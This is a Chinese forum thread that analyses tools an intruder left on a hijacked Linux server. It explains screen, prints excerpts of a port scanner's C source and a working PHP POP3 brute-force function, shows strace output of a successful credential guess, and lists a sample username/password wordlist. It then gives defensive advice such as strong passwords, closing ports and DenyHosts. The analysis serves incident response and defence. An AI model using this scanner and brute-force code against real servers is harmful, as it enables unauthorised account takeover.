打印
[技术问答]

函数调用过程探究

[复制链接]
725|10
手机看帖
扫描二维码
随时随地手机跟帖
跳转到指定楼层
楼主
Micachl|  楼主 | 2015-12-28 21:01 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
引言最近遇到一个服务器被hack的问题,服务器变成了肉机,不断尝试**其他机器的帐号。下面我们通过分析黑客在服务器上留下的工具,了解入门的hack方法、学习相应的防范措施。

hack工具
hacker登入一台被入侵的服务器,通常首先使用"w"命令查看登陆者信息、使用"passwd"命令修改当前用户密码,然后通过wget,获取提权和其他hack工具。hacker一般将工具解压到目录名以"."开头的目录中,达到隐藏的效果,以下是此次问题hacker在服务器上留下的“礼物”:
linux:/tmp/.ssh # ll
总计 340
-rw-r--r-- 1 root root   7289 06-03 13:06 pass_file
-rwxr-xr-x 1 root root  17274 06-03 13:20 pscan
-rw-r--r-- 1 root root   6071 06-03 13:10 pscan.c
-rwxr-xr-x 1 root root 302240 06-03 13:06 screen
-rw-r--r-- 1 root root   1444 06-03 13:06 sesion.php


沙发
Micachl|  楼主 | 2015-12-28 21:01 | 只看该作者
远程会话管理工具screen

screen主要用于管理多窗口、使进程与原始远程连接脱离。



多窗口管理

有时我们需要执行一些比较耗时的程序,在这些程序运行结束后,我们才能操作终端。假如在耗时程序运行过程中,还想进行其他操作,那就需要另打开远程登陆终端。使用screen,可以避免打开多个登陆终端,下面来看使用screen模拟打开多个窗口的方法。

在执行screen程序前,使用"who"命令可以查到A机器上有两个用户,分别从本地、远程登入:
linux:/tmp/.ssh > who
lx       :0           2012-06-03 10:59
lx       pts/0        2012-06-03 13:05 (192.168.1.102)

使用特权

评论回复
板凳
Micachl|  楼主 | 2015-12-28 21:02 | 只看该作者
通过远程pts/0运行screen后,进入一个新的命令操作窗口,并增加了一个远程登入:
linux:/tmp/.ssh > who
lx       :0           2012-06-03 10:59
lx       pts/0        2012-06-03 13:05 (192.168.1.102)
lx       pts/1        2012-06-03 15:40

在screen中,我们可以使用"ctrl+a+c"组合键创建新的窗口,使用"ctrl+a+n/p"组合键在窗口间来回切换。这样,当耗时程序被执行时,我们可以新建或切换到其他窗口,进行其他操作。

使用特权

评论回复
地板
Micachl|  楼主 | 2015-12-28 21:03 | 只看该作者
脱离原始远程连接

通过远程终端执行程序,程序尚未退出的情况下关闭远程连接,那么程序也会跟着中止。这将导致耗时程序尚未完成工作就退出、编辑中尚未保存的文件丢失。使用screen,可以达到进程不随远程连接关闭而退出的目的,这也是screen最主要的功能。

在screen窗口下,我们执行一个程序:
linux:/tmp/loop > ./endless_loop 
running...

使用特权

评论回复
5
Micachl|  楼主 | 2015-12-28 21:03 | 只看该作者
程序执行时,我们将远程登陆终端关闭,在服务器本地开启终端,可以看到远程终端已经关闭:
linux:/tmp/loop > who
lx     :0        2012-06-03 10:59
lx     pts/0     2012-06-03 20:04 (:0.0)

再来查之前通过远程拉起的endless_loop进程,可以看到其仍在运行,并且screen为其祖先进程:
linux:/tmp/loop > ps -elf | grep endless | grep -v grep
0 R lx        4851  4586 99  80   0 -   926 -      20:24 pts/1    00:00:32 ./endless_loop
linux:/tmp/loop > ps -elf | grep 4586 | grep -v endless | grep -v grep
0 S lx        4586  4585  0  80   0 -  4193 wait   20:02 pts/1    00:00:00 /bin/bash
linux:/tmp/loop > ps -elf | grep 4585 | grep -v grep | grep -v 4586
1 S lx        4585     1  0  80   0 -  1036 -      20:02 ?        00:00:00 ./SCREEN

使用特权

评论回复
6
Micachl|  楼主 | 2015-12-28 21:04 | 只看该作者
暴力**帐号

hacker费时费力入侵服务器,当然不会无欲无求,入侵服务器后,hacker要不获取服务器上的资料信息,要不就是将服务器变成肉机,用其**更多服务器的帐号。暴力**服务器帐号需要通过某一系统服务,例如pop3、ssh、telnet等,其过程可以分解为两个步骤:

    扫描服务器某系统服务的端口(例如pop3使用110端口,ssh使用22端口)
    对已开放端口的服务器进行密码**



端口扫描程序

pscan是一个端口扫描程序,pscan.c是相应的源码。端口扫描功能的实现并不复杂,首先分配socket描述符,用目标ip、端口号填充类型为sockaddr_in的结构:

使用特权

评论回复
7
Micachl|  楼主 | 2015-12-28 21:05 | 只看该作者
connlist[i].s = socket(AF_INET, SOCK_STREAM, 0);
fcntl(connlist[i].s, F_SETFL, O_NONBLOCK);
connlist[i].addr.sin_addr.s_addr = inet_addr(ip);
connlist[i].addr.sin_family = AF_INET;
connlist[i].addr.sin_port = htons(atoi(argv[2]));

然后调用connect函数尝试建立连接:
ret = connect(connlist[i].s, (struct sockaddr *)&connlist[i].addr,
                sizeof(struct sockaddr_in));
if (ret == -1) {
     if (errno == EISCONN) {       //端口打开
           fprintf(outfd, "%s\n",
                  (char *)inet_ntoa(connlist[i].addr.sin_addr));
     }
     if ((errno != EALREADY) && (errno != EINPROGRESS)) {
         //对端端口为关闭状态
     }
}
else{   //端口打开
   fprintf(outfd, "%s\n",
          (char *)inet_ntoa(connlist[i].addr.sin_addr));
}

使用特权

评论回复
8
Micachl|  楼主 | 2015-12-28 21:05 | 只看该作者
通过判断connect函数的返回值可知对端服务器端口是否开启,将扫描到的开放端口的服务器ip地址写入文件。



密码**

记录下已开放端口的服务器ip地址后,**程序将再次与这些ip地址对应的服务器进行连接,尝试用大量用户名/密码组合进行系统服务鉴权。**开头的sesion.php即是**pop3帐号用的php脚本,pass_file文件每一列对应一组用户名、密码。



各个系统服务(pop3、telnet、ssh等)使用的鉴权方法不同,**程序的具体实现方法就各异,相对而言,pop3暴力**程序的实现比较简单:
复制代码
function POPa($username, $password, $server) {
        $socket = fsockopen($server, 110); // POP3 port
        if (!$socket) {
          return "cracked";
        }
        $res = fgets($socket, 512); // read +OK
        if (substr(trim($res), 0, 3) != "+OK") {
           return "cracked"; // return the error   
        }
        fputs($socket, "USER $username\r\n"); // send user
        $res = fgets($socket, 512); // read +OK
        if (substr(trim($res), 0, 3) != "+OK") {
          return "cracked";
        }
        fputs($socket, "PASS $password\r\n"); // send pass
        $res = fgets($socket, 512); // read +OK
        if (substr(trim($res), 0, 3) != "+OK") {
                return $res;
        }
        $fp = fopen("vuln.txt", "a");
        fwrite($fp, " $server $username $password\r\n");
}

使用特权

评论回复
9
Micachl|  楼主 | 2015-12-28 21:06 | 只看该作者
首先使用fsockopen函数与对端建立连接,然后向对端发送用户名、密码。若发送密码之后,收到的回应中头三个字符为"+OK",即表示鉴权成功,相应的用户名、密码为对端pop3服务器的一个帐号。鉴权成功后,我们把对端ip、用户名和密码记录在vuln.txt文件中。



使用strace对以上密码**程序进行跟踪,从输出结果中,我们能更清晰地了解两台机器间的交互过程:
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
fcntl(3, F_GETFL)                       = 0x2 (flags O_RDWR)
fcntl(3, F_SETFL, O_RDWR|O_NONBLOCK)    = 0
connect(3, {sa_family=AF_INET, sin_port=htons(110), sin_addr=inet_addr("213.8.54.xx")}, 16) = -1 EINPROGRESS (Operation now in progress)
poll([{fd=3, events=POLLIN|POLLOUT|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLOUT}])
getsockopt(3, SOL_SOCKET, SO_ERROR, [0], [4]) = 0
fcntl(3, F_SETFL, O_RDWR)               = 0
poll([{fd=3, events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}])
recvfrom(3, "+OK Microsoft Exchange Server 20"..., 8192, MSG_DONTWAIT, NULL, NULL) = 99
sendto(3, "USER dennis\r\n", 13, MSG_DONTWAIT, NULL, 0) = 13
poll([{fd=3, events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}])
recvfrom(3, "+OK\r\n", 8192, MSG_DONTWAIT, NULL, NULL) = 5
sendto(3, "PASS dennis\r\n", 13, MSG_DONTWAIT, NULL, 0) = 13
poll([{fd=3, events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}])
recvfrom(3, "+OK User successfully logged on."..., 8192, MSG_DONTWAIT, NULL, NULL) = 34
sendto(3, "QUIT\r\n", 6, MSG_DONTWAIT, NULL, 0) = 6

使用特权

评论回复
10
Micachl|  楼主 | 2015-12-28 21:07 | 只看该作者
一点启示

人在江湖漂,难免不中招。为防范hacker入侵,我们可以事先做好哪些工作呢?

设定复杂的密码

我们看下pass_file文件的内容,看hacker尝试用哪些用户名/密码**服务器帐号:
⋯⋯
michelle michelle
nobody nobody
Administrator 123456
qwerty qwerty
backup backup
info test12345
shop shop
sales sales

使用特权

评论回复
11
Micachl|  楼主 | 2015-12-28 21:08 | 只看该作者
可见,密码不能设置得与用户名相同,也不能设为"123456"、"test12345"这类简单的密码。



限制端口开放

hacker大多通过服务器开放的端口进行入侵,这就要求我们对端口进行严格的管理。像telnet这样用的比较少又不安全的服务,大多数服务器都应该将其关闭;像ftp这类服务,可以用到的时候再开启,用后及时关闭。



使用第三方工具阻挡攻击

像以上类型的暴力攻击,成千上万次地使用不同帐号进行鉴权,是否可以设定允许的鉴权尝试次数,超过设定的次数,服务器则将拒绝来访ip的连接?

有一些工具帮我们实现了以上功能,例如DenyHosts这个工具,DenyHosts通过分析sshd进程的日志文件,发现多次失败登陆记录时,会将来访ip记录到/etc/hosts.deny文件,屏蔽来访ip,从而达到阻挡ssh暴力攻击的效果。



小结

本文介绍了hacker常用工具screen的用法,端口扫描程序的实现,暴力**帐号的入门方法,最后讲了下防范暴力**的几点防范措施。

变成肉机的服务器7*24h不停地对各个网段扫描、**帐号,因而中招的几率还是很大的,做好防范措施,不能掉以轻心咯。

使用特权

评论回复
发新帖 我要提问
您需要登录后才可以回帖 登录 | 注册

本版积分规则

43

主题

300

帖子

1

粉丝